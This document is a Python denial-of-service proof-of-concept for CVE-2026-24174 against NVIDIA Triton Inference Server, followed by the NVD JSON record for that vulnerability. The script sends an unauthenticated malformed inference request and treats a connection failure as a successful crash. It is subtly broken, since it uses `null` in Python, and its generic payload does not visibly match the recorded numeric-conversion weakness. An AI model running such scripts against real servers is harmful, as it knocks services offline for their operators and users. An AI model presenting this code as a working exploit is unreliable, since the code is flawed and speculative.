CVE-2026-24174

import requests # Target URL for NVIDIA Triton Inference Server # Default ports are usually 8000 (HTTP) or 8001 (gRPC) target_url = "http://localhost:8000/v2/models/unknown/infer" # Malformed payload to trigger the crash # This payload simulates a broken request structure that may trigger unhandled exceptions malformed_payload = { "inputs": [ { "name": "test_input", "shape": [1, 224, 224, 3], "datatype": "FP32", # Intentionally malformed content to bypass validation or trigger parsing errors "data": ["TRIGGER_CRASH"] * 1000 } ], # Adding invalid parameters "invalid_parameter": null } try: # Send POST request without authentication headers = {"Content-Type": "application/json"} response = requests.post(target_url, json=malformed_payload, headers=headers, timeout=5) print(f"Status Code: {response.status_code}") print("Server may have crashed if no response or connection error occurs.") except requests.exceptions.RequestException as e: # Connection errors often indicate the service has crashed (DoS) print(f"Request failed (potential DoS successful): {e}")

{"cve": {"id": "CVE-2026-24174", "sourceIdentifier": "[email protected]", "published": "2026-04-07T18:16:39.923", "lastModified": "2026-04-16T16:59:40.033", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NVIDIA Triton Inference Server contains a vulnerability where an attacker could cause a server crash by sending a malformed request to the server. A successful exploit of this vulnerability might lead to denial of service."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-681"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nvidia:triton_inference_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.02", "matchCriteriaId": "D065C964-D751-4288-96A0-0E0E87AF886A"}]}]}], "references": [{"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24174", "source": "[email protected]", "tags": ["US Government Resource"]}, {"url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5816", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.cve.org/CVERecord?id=CVE-2026-24174", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}